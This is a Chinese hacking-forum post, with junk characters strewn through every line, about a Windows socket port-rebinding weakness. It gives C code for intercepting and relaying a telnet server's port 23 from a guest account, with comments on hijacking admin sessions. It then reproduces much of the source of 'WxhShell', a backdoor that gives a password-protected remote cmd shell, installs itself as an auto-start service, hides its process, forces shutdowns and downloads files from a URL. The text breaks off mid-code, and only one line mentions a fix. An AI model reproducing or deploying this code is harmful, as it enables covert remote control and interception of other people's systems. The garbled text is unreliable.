在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
X<9DE!/) s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
]}v`#-Px( q }z,C{Wq< saddr.sin_family = AF_INET;
zx'`'t4~ !;\-V}V saddr.sin_addr.s_addr = htonl(INADDR_ANY);
T[Gz 609=o+ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
c7rYG] RTl7vzG 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
N ZlJ_[\$C q',a7Tf: 这意味着什么?意味着可以进行如下的攻击:
8%xtb6#7M #kb(2Td 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
!-MG"\#Wq 9q8
rf\& 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
|x5w;= A`N;vq, 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
;,4J:zvZdQ |u}sX5/q 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
ptDA))7M/ uk'<9g^ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Cza)s 9hguC yr@h 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
~r>UjC_
B: shn-Es* 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
+?@qux! v<c Hx/ #include
0~S<}N #include
>y8Z{ALQ5 #include
3o^V$N. #include
57MoO DWORD WINAPI ClientThread(LPVOID lpParam);
;q^YDZ' int main()
SQ1&n;M}f {
sIy$}_ WORD wVersionRequested;
[c W DWORD ret;
vCmh3TQ WSADATA wsaData;
:<(<tz7dj BOOL val;
g1{wxBFE SOCKADDR_IN saddr;
G?_,( SOCKADDR_IN scaddr;
+es6c') int err;
%4-pw|': SOCKET s;
hBqu,A SOCKET sc;
plIx""a^h int caddsize;
'K"*4B^3 HANDLE mt;
p-6.:y DWORD tid;
z"vgwOP su wVersionRequested = MAKEWORD( 2, 2 );
>5gzo6j/ err = WSAStartup( wVersionRequested, &wsaData );
S8cFD):q if ( err != 0 ) {
He*L"VpWv printf("error!WSAStartup failed!\n");
'Hia6<m3 return -1;
*Xnq1_K} }
Z"^@B2v saddr.sin_family = AF_INET;
YOoP]0'L N|)V/no 6 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
3//v{ce1] Dm^kuTIG saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
P3|<K-dFAK saddr.sin_port = htons(23);
_t[%@G>P if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
O^$Zz< {
0cbF.Um8 printf("error!socket failed!\n");
qs b4@jt+ return -1;
%G
SSy_c }
.KSGma6] val = TRUE;
U,S286 //SO_REUSEADDR选项就是可以实现端口重绑定的
}.vy|^X if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
qTGy\i {
}>:X|4] printf("error!setsockopt failed!\n");
[<;2 C return -1;
b#U%aPH }
Ye6O!,R //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
f5-={lUlIS //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
gD\}CxtG //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
'W*F[U*&HP eH8.O if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
u2Obb`p S {
iE`aGoA ret=GetLastError();
w1b
<>A?87 printf("error!bind failed!\n");
dp70sA!JF return -1;
Jx< }
MO/N*4U2 listen(s,2);
YLo$n while(1)
;p ('cwU% {
Hdx|k=-Q^ caddsize = sizeof(scaddr);
uSJP"Lw //接受连接请求
-EaZ<d[|0 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
SI9hS4<j if(sc!=INVALID_SOCKET)
kDh(~nfj {
Biy 9jIWI mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
LH;G: if(mt==NULL)
am3E7u/ {
A~V\r<N
j printf("Thread Creat Failed!\n");
m5X=P5U break;
Se8y-AL6x> }
`.g8JC\_m }
y~jIAp CloseHandle(mt);
mNel3J3
}
)M 0O=Cl1 closesocket(s);
| hM)e*" WSACleanup();
w#,v n8 return 0;
eb\`)MI/ }
F w m:c[G DWORD WINAPI ClientThread(LPVOID lpParam)
I "2FTGA {
5.#9}] SOCKET ss = (SOCKET)lpParam;
>}*jsqaVU SOCKET sc;
:t^})% unsigned char buf[4096];
nj`qV SOCKADDR_IN saddr;
F4%[R) long num;
s=
fKAxH DWORD val;
@#c6\$ DWORD ret;
m!g8@YI //如果是隐藏端口应用的话,可以在此处加一些判断
J|24I4 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
jt--w"|-r saddr.sin_family = AF_INET;
-RQQ|:O$ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
pH%c7X/[3L saddr.sin_port = htons(23);
MA#!<b(' if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
sLp
LY1X {
rC `s;w printf("error!socket failed!\n");
p9WskYpm return -1;
vh8Kd' y }
]#.&f]6l val = 100;
S(h*\we if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
J)|K/W9 {
Gx_e\fe-/ ret = GetLastError();
U&$]?3? return -1;
pw yl,A }
wR4u}gb#q if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
*8H;KGe= {
9z/_`Xd_ ret = GetLastError();
guXpHF= return -1;
{OrE1WHB }
RsfTUb)< if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
N-YZ0/c {
2{I z printf("error!socket connect failed!\n");
^X%4@,AE closesocket(sc);
d}cJ5!d closesocket(ss);
ldvxYq<: return -1;
IFofFXv_ }
G3^]Wwu while(1)
rxp9B>~ {
6G$tYfX //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
X]"OW //如果是嗅探内容的话,可以再此处进行内容分析和记录
1>x@1Mo+K //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Vzvw/17J num = recv(ss,buf,4096,0);
g*r;( H>e if(num>0)
d|+jCTKS send(sc,buf,num,0);
_hL4@C else if(num==0)
gr{Sh`Cm- break;
Bl\kU8O- num = recv(sc,buf,4096,0);
Atq2pL" if(num>0)
L)Ar{*xC send(ss,buf,num,0);
}QW~.>` else if(num==0)
W?J[K;< break;
S_VncTIO }
-f|^}j? closesocket(ss);
@SG"t,5s closesocket(sc);
+u:OAsR return 0 ;
"gajBY }
FXEfD" DK_v{R Ny7=-]N4{" ==========================================================
nL07^6( OVSq8?L 下边附上一个代码,,WXhSHELL
Le:mMd= G qq3Qd,$Z ==========================================================
y"L`bl A9} O[p^lr(B7 #include "stdafx.h"
gJ8 c]2c D)7$M]d% #include <stdio.h>
0QH3,Ps1C #include <string.h>
L8xprHgL #include <windows.h>
Zi@+T #include <winsock2.h>
02#Iip3t #include <winsvc.h>
D4 ]B> #include <urlmon.h>
4U;XqUY
/ [pFu
]^X #pragma comment (lib, "Ws2_32.lib")
xp8f #pragma comment (lib, "urlmon.lib")
}\L!;6oy yxWMatZ2 #define MAX_USER 100 // 最大客户端连接数
=,8Eo"~\ #define BUF_SOCK 200 // sock buffer
o/9LK #define KEY_BUFF 255 // 输入 buffer
53*, f z "$d5XR #define REBOOT 0 // 重启
!Fg4Au #define SHUTDOWN 1 // 关机
EQOP?>mWx! v:Z4z6M- #define DEF_PORT 5000 // 监听端口
N?{1'=Om pW--^aHu #define REG_LEN 16 // 注册表键长度
+y4AUU:Q #define SVC_LEN 80 // NT服务名长度
~
9~\f xP6?e s` // 从dll定义API
FO>( QLlH typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
mS~ ]I$ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
UK_aqB typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
DcR}pQ(e typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
5h=TV =<zSF\Zr_ // wxhshell配置信息
C"^hMsU8 struct WSCFG {
X8SRQO^ int ws_port; // 监听端口
D<3V#Opw char ws_passstr[REG_LEN]; // 口令
l8AEEG8> int ws_autoins; // 安装标记, 1=yes 0=no
h k!, char ws_regname[REG_LEN]; // 注册表键名
QT= ,En char ws_svcname[REG_LEN]; // 服务名
.0fh>kQ char ws_svcdisp[SVC_LEN]; // 服务显示名
9}jq`xSL char ws_svcdesc[SVC_LEN]; // 服务描述信息
R~5*#r@f char ws_passmsg[SVC_LEN]; // 密码输入提示信息
SM#S/|.] int ws_downexe; // 下载执行标记, 1=yes 0=no
]\ 2RVDC char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
(p.3'j( char ws_filenam[SVC_LEN]; // 下载后保存的文件名
;!JX-J q fw|+7 O };
Q$h:[_v mV*/zWh_ // default Wxhshell configuration
8u'O`j struct WSCFG wscfg={DEF_PORT,
-llx: "xuhuanlingzhe",
t-7U1B}=<C 1,
@-&(TRbZo "Wxhshell",
1.95 ^8 "Wxhshell",
eBC%2TF "WxhShell Service",
ZecvjbnVY "Wrsky Windows CmdShell Service",
9+8!xwR: "Please Input Your Password: ",
^?7dOW 1,
I`'a' "
http://www.wrsky.com/wxhshell.exe",
UUMdZ+7 "Wxhshell.exe"
1^f.5@tV };
uJam
$V ~l*?D7[o // 消息定义模块
pjHRV[`AP char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
v]{uxlh char *msg_ws_prompt="\n\r? for help\n\r#>";
o%WjJ~!zL char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
6(J4IzZ char *msg_ws_ext="\n\rExit.";
euj8p:+X char *msg_ws_end="\n\rQuit.";
T<f\*1~^ char *msg_ws_boot="\n\rReboot...";
pba8=Z char *msg_ws_poff="\n\rShutdown...";
7.e7Fi{ char *msg_ws_down="\n\rSave to ";
Vl 19Md %t`SSW7I char *msg_ws_err="\n\rErr!";
ZG@M%|> char *msg_ws_ok="\n\rOK!";
VwOG?5W/ puS&S
* char ExeFile[MAX_PATH];
Q1nDl int nUser = 0;
hP1
l v7P HANDLE handles[MAX_USER];
B?#k W!wj int OsIsNt;
M,t*nG C3\E.u? SERVICE_STATUS serviceStatus;
"7yNKO;W SERVICE_STATUS_HANDLE hServiceStatusHandle;
[l':G ] y5/'!L)g // 函数声明
`/w\2n int Install(void);
R{)
Q1~H=q int Uninstall(void);
$' (QTEM int DownloadFile(char *sURL, SOCKET wsh);
) Kc%8hBv int Boot(int flag);
*m$PH"
void HideProc(void);
)W1(tEq59 int GetOsVer(void);
BU9J_rCIv int Wxhshell(SOCKET wsl);
Zgg'9E void TalkWithClient(void *cs);
gmRT1T int CmdShell(SOCKET sock);
Jh43)#G- int StartFromService(void);
zRV!(Y int StartWxhshell(LPSTR lpCmdLine);
bbNU\r5% ] dHB} VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
^.D}k VOID WINAPI NTServiceHandler( DWORD fdwControl );
Lvi[*une| ^IVe[P' // 数据结构和表定义
&@%
b?~ SERVICE_TABLE_ENTRY DispatchTable[] =
(rr}Pv%yb {
Gg9VS&VI {wscfg.ws_svcname, NTServiceMain},
@q&|MMLt {NULL, NULL}
-Aa]aDAz68 };
/Fe:h>6 e2k4[V // 自我安装
}qiF^D} int Install(void)
\9] I#Ih}M {
X%GD0h]X# char svExeFile[MAX_PATH];
\T`["< HKEY key;
.73zik strcpy(svExeFile,ExeFile);
hhpv\1h# G [3k // 如果是win9x系统,修改注册表设为自启动
6x_T@ if(!OsIsNt) {
.!(,$'(@= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
mG831v? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
K DYYB6| RegCloseKey(key);
J]}FC{CD! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
2yln7[a RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
6ORY`Pe7P| RegCloseKey(key);
c[VrC+e m return 0;
?&znUoB }
,Z>wbMJig }
e=t<H"& }
a`H\-G else {
FUaI2 8F zHNG // 如果是NT以上系统,安装为系统服务
~->Hlxze'K SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
_i3i HR? if (schSCManager!=0)
tu\mFHvlg {
%won=TG8 SC_HANDLE schService = CreateService
~ww?Emrw (
lDW!Fg schSCManager,
Ue(r}* wscfg.ws_svcname,
-IBO5;2_ wscfg.ws_svcdisp,
x*.Ye5Jb SERVICE_ALL_ACCESS,
Yd'H+r5b SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
3{N\A5~ SERVICE_AUTO_START,
c 9rVgLqn! SERVICE_ERROR_NORMAL,
F=XF] svExeFile,
]7a;jNQu NULL,
[6D>f?z NULL,
:GQUM 6 NULL,
I4)Nb WQ NULL,
k$C"xg2 NULL
Dp*:Q){>E );
u]HS(B,ht if (schService!=0)
mZwi7s&u {
W*k` CloseServiceHandle(schService);
Ko#4z%Yq CloseServiceHandle(schSCManager);
z!fdx|PUX strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
u(W^Nou/+ strcat(svExeFile,wscfg.ws_svcname);
YgCc|W3{ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
$v]T8|h RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
d,W/M(S RegCloseKey(key);
,I]7g4~ return 0;
v btAq^1 }
VS?dvZ1cC }
P:
n# S % CloseServiceHandle(schSCManager);
D7)(D4S4 }
U,e'ZRU6 }
Bn\l'T ],n%Xp return 1;
0pD
W _ }
Dy su{rL /Zc#j^_ // 自我卸载
lLH$`Wnv int Uninstall(void)
zK=dzoy {
ITONpg[f HKEY key;
3[VWTq)D= [*<.?9n)or if(!OsIsNt) {
(vKI1^, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
A8J8u,u9 RegDeleteValue(key,wscfg.ws_regname);
$,TGP+vH RegCloseKey(key);
:/B:FY= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
{VR`; RegDeleteValue(key,wscfg.ws_regname);
&.zj5*J RegCloseKey(key);
Q:mZ" i5 return 0;
=yo{[&Jz }
L[rpb.'FG }
@%c81rv? }
`\!X}xiWd else {
[OzzL\)3l G*B$%?n SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
GR<c= if (schSCManager!=0)
c<?[d!vI {
6*Zj]is SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
I~)cYl:|G if (schService!=0)
&&WDo(r3 {
H)E^!eo if(DeleteService(schService)!=0) {
IV0[!D CloseServiceHandle(schService);
W<v_2iVu CloseServiceHandle(schSCManager);
8W;2oQN7 return 0;
Zd[OWF }
40 2x<H CloseServiceHandle(schService);
p#bhz5&/ }
%nWe,_PjD CloseServiceHandle(schSCManager);
iX%[YQ | }
[EgW/\35 }
g5y;?fqJ JkU1daTe return 1;
r'p =`2= }
lyyX<=E{) ^_68]l= // 从指定url下载文件
#zt*xS[{0 int DownloadFile(char *sURL, SOCKET wsh)
X8b|]Nr {
jq(qo4~; HRESULT hr;
0 " y%9
char seps[]= "/";
>Q=Ukn;k char *token;
Rn-G
@}f char *file;
1}}>Un`U5, char myURL[MAX_PATH];
t,h{+lYU char myFILE[MAX_PATH];
Cp^g'& wz#A1F strcpy(myURL,sURL);
z1vw'VT> token=strtok(myURL,seps);
7d;pvhnH while(token!=NULL)
'z5h3J {
\vCGU>UY file=token;
DI,K(_@G token=strtok(NULL,seps);
XX2h(- }
_ij$f< EY=FDl V GetCurrentDirectory(MAX_PATH,myFILE);
7)^:8I( strcat(myFILE, "\\");
i)8N(HN strcat(myFILE, file);
#f*g]p{ send(wsh,myFILE,strlen(myFILE),0);
>&WhQhZ3kg send(wsh,"...",3,0);
,."b3wR[w hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
F\:(*1C if(hr==S_OK)
C#;@y|Rw return 0;
R{?vQsLk else
jJBnDxsA return 1;
L\e>B>u y bQP E/9 }
8:thWGLN /syVGmS'M // 系统电源模块
D. Kqc int Boot(int flag)
6;+jIkkD) {
0/ !,Dn HANDLE hToken;
}mZVL~|V TOKEN_PRIVILEGES tkp;
yfEb
W%o|0j\1GU if(OsIsNt) {
cSK&[>i)4 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
0y~<%`~ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
,O]l~)sr| tkp.PrivilegeCount = 1;
4Po)xo tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
XV>&F{ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
inAAgW#s} if(flag==REBOOT) {
<x0H@?f7 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
zN~6HZ_:^ return 0;
vfw A$7N }
r&%.z*q else {
M T6/2d if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
R-rCh. return 0;
Wto;bd }
C5@V/vA }
(K :]7 else {
= 96P7#% if(flag==REBOOT) {
l&W;b6L if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
p'f%%#I return 0;
2(M6(xH> }
A}5fCx.{ else {
"e6|"w@8 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
iiG f'@/ return 0;
8K{[2O7i) }
1A<,TFg }
q; jiw#_ ~n?>[88" return 1;
BqH]-'1G }
c</1 qAY%nA>jO // win9x进程隐藏模块
/ nZ;v4 void HideProc(void)
uD9|.P} {
*7$P] 55Gtp\L HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
z42F,4Gk if ( hKernel != NULL )
<rIz Z'D {
/6+NU^ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
@|\R}k%( ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
@=Fi7M FreeLibrary(hKernel);
%ow^dzW }
p
fT60W[m H'= (` return;
jS<_ ) }
g(ogXA1 ~9\zWRh // 获取操作系统版本
r0]4=6U int GetOsVer(void)
q|.dez' {
9GLb"6+PK OSVERSIONINFO winfo;
[10zTU` winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
6oD\-H GetVersionEx(&winfo);
W# US#<9Y if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
)|bC^{kH!l return 1;
nV_8Ke else
d3;qsUh$yv return 0;
x=Hndx^ }
&M/>tEZ) I+(/TP // 客户端句柄模块
M*eJ
JY int Wxhshell(SOCKET wsl)
3oy~= {
>vbY<HGt SOCKET wsh;
#z'uRHx%=0 struct sockaddr_in client;
Dw<k3zaW DWORD myID;
u3 0s_\ 28.~iw while(nUser<MAX_USER)
tBATZ0nK`Q {
Gi2$B76< int nSize=sizeof(client);
zDTv\3rZ4X wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
xdvh-%A4 if(wsh==INVALID_SOCKET) return 1;
&>g'$a<[ 0k,-; j, handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
790-)\:CY if(handles[nUser]==0)
r|Z5Xc closesocket(wsh);
a2 +~;{?g else
J% H;%ROx nUser++;
_+l1b"^s1 }
p[AO'
xx WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
eLD|A=X? .Dg*\ h return 0;
kzn[
=P }
cD|Htt" M<PIeKIEB // 关闭 socket
"KX=ow#z| void CloseIt(SOCKET wsh)
IuF_M<d, {
Nes=;%&]G closesocket(wsh);
_PFnh)o nUser--;
2i{cQ96 ExitThread(0);
) 0 W` }
aUHcYc\u PxS4,`#~ // 客户端请求句柄
8I;XS14Q void TalkWithClient(void *cs)
u"1rF^j6k {
$Xm6N@ q$(5Vd: SOCKET wsh=(SOCKET)cs;
bg,9@ }"F char pwd[SVC_LEN];
5{e,L>H< char cmd[KEY_BUFF];
|*/[`|*G char chr[1];
3DgsI7-F int i,j;
sZ,Y60s8a L"jY+{oLIJ while (nUser < MAX_USER) {
B.r4$:+jb2 ($w@Z/; if(wscfg.ws_passstr) {
~Nf})U if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
66x?A0P //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
v3d&*I //ZeroMemory(pwd,KEY_BUFF);
".^VI2T i=0;
_A13[Mt3 while(i<SVC_LEN) {
xL|;VyD S"Lx% // 设置超时
j>uj=B@ fd_set FdRead;
osARA3\Xt struct timeval TimeOut;
tZ`Ts}\e FD_ZERO(&FdRead);
L( T12s FD_SET(wsh,&FdRead);
<JMcIV837 TimeOut.tv_sec=8;
bV8g|l-4( TimeOut.tv_usec=0;
40E#JF# int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
3>E%e!D% if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
&k-Vcrcz W[EKD 7 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
9O{b]=>wq pwd
=chr[0]; l3Njq^T
if(chr[0]==0xd || chr[0]==0xa) { J^R=dT!
pwd=0; ~/^5) g_
break; _Z5Mw+=19
} \`V;z~@iA
i++; wo_,Y0vfB
} 3(TsgP>`
vAY,E=&XvM
// 如果是非法用户,关闭 socket Y!iZW
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z#BR5jF
} }_=eT]
JSh.]j<bJL
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WJ<^E"^
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (=D&A<YX
lj+u@Z<xA
while(1) { w 4[{2
4DZ-bt'
ZeroMemory(cmd,KEY_BUFF); 4_Dp+^JF
()&~@1U
// 自动支持客户端 telnet标准 wtje(z5IL
j=0; Eu"_MgD
while(j<KEY_BUFF) { gbVdOm
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L
"sO+4w
cmd[j]=chr[0]; ODZ|bN0>
if(chr[0]==0xa || chr[0]==0xd) { W9NX=gE4
cmd[j]=0; *CHI2MB
break; dy_:-2S
} =zQN[
j++; %p%%~ewmx
} q,
O$ %-70
g}@OUG"D
// 下载文件 ;a:[8 Yi
if(strstr(cmd,"http://")) { LL:_L<
send(wsh,msg_ws_down,strlen(msg_ws_down),0); %*BlWk!Q
if(DownloadFile(cmd,wsh)) 4apL4E"r
send(wsh,msg_ws_err,strlen(msg_ws_err),0); II6CHjW`;
else x _c[B4Tw
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (5]}5W*
} <b,~:9*?
else { oudxm[/U
[eTSZjIN7
switch(cmd[0]) { ,VO2a mI
8WnwQ%;m?
// 帮助 |sJSN.8
case '?': { E>l~-PaZY
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sQkhwMg
break; oJN#C%r7
} 7uzkp&+:
// 安装 9a8cRt6knO
case 'i': { wI(M^8F_Mf
if(Install()) k:7(D_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;!yQ
else Gz.|]:1
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H%D$(W
break; 21"1NJzP
} eJg8,7WC
// 卸载 %c4Hse#Y
case 'r': { | Bi!
if(Uninstall()) G^ :C+/)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); l\i)$=d&g
else (+0v<uR^D
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >y"+ -7V)
break; =>-Rnc@
} #ep`nf0x
// 显示 wxhshell 所在路径 'inFKy'H
case 'p': { )ut&@]
char svExeFile[MAX_PATH]; F w?[lS
strcpy(svExeFile,"\n\r"); M3.do^ss
strcat(svExeFile,ExeFile); A0Qb 5e
send(wsh,svExeFile,strlen(svExeFile),0); $< JaLS
break; 9 AJ(&qY(
} <7~'; K
// 重启 A}l3cP;
`#
case 'b': { WPQ fhr#|
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); a|X a3E
if(Boot(REBOOT)) /'/Xvm3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $&=S#_HQS
else { LGn:c;
closesocket(wsh); n@)K #
ExitThread(0);
$ ` ""
} Hl,W=2N
break; *WuID2cOI
} %KLpig
// 关机 2WdyxjQ
case 'd': { 7<*yS310
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +~p88;
if(Boot(SHUTDOWN)) ,y#Kv|R
send(wsh,msg_ws_err,strlen(msg_ws_err),0); o2F)%T DY
else { NCDvobYJ
closesocket(wsh); {z{bY\
ExitThread(0); A6thXs2
} A*\.NTM
break; 5?x>9Ca
} wfH^<jY)E
// 获取shell I`!<9OTBj
case 's': { DW[N|-L
CmdShell(wsh); Vh4X%b$TV
closesocket(wsh); BI%$c~wS
ExitThread(0); H:V2[y8\
break; *_d7E
} X9V *UXTc
// 退出 ;>Ib^ov
case 'x': { [MUpxOAsd
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ) AvN\sC
CloseIt(wsh); YpVD2.jy
break; T{-CkHf9Q
} 5j?3a1l0
// 离开 yd
d7I&$
case 'q': { VZKvaxIk6
send(wsh,msg_ws_end,strlen(msg_ws_end),0); gi1^3R[
closesocket(wsh); .[ICx
WSACleanup(); RMdk:YvBg
exit(1); .(cw>7e3D
break; [_EZhq
} m+]K;}.}R
} Fj2BnM3#
} e w$B)W
,s"^kFl
// 提示信息 N2;B-U F
7
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
f6&iy$@
} 0Qf,@^zL*
} P/W
XaE4
[M=7M}f;
return; ig/xv
} cK( C&NK
z7fp#>uw
// shell模块句柄 Jdj2~pTq
int CmdShell(SOCKET sock) I&x=;
{ 3YR!Mq$|~
STARTUPINFO si; 0AL=S$B)
ZeroMemory(&si,sizeof(si)); p8Qk'F=h
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fHx*e'eA
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v dc\R?
PROCESS_INFORMATION ProcessInfo; gCB |DY
char cmdline[]="cmd"; x??+~$}\*-
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); | ATvS2
return 0; +%h8r5o1
} c(xrP/yOwi
286jI7 T
// 自身启动模式 Z 2V.3
int StartFromService(void) L>Fa^jq5
{ 86=}ZGWd
typedef struct _-K2/6zy
{ #lL^?|M
DWORD ExitStatus; UGV+/zxIM
DWORD PebBaseAddress; ;n*.W|Uph
DWORD AffinityMask; Yi%;|]
DWORD BasePriority; KPKt^C
ULONG UniqueProcessId; kTOzSiq
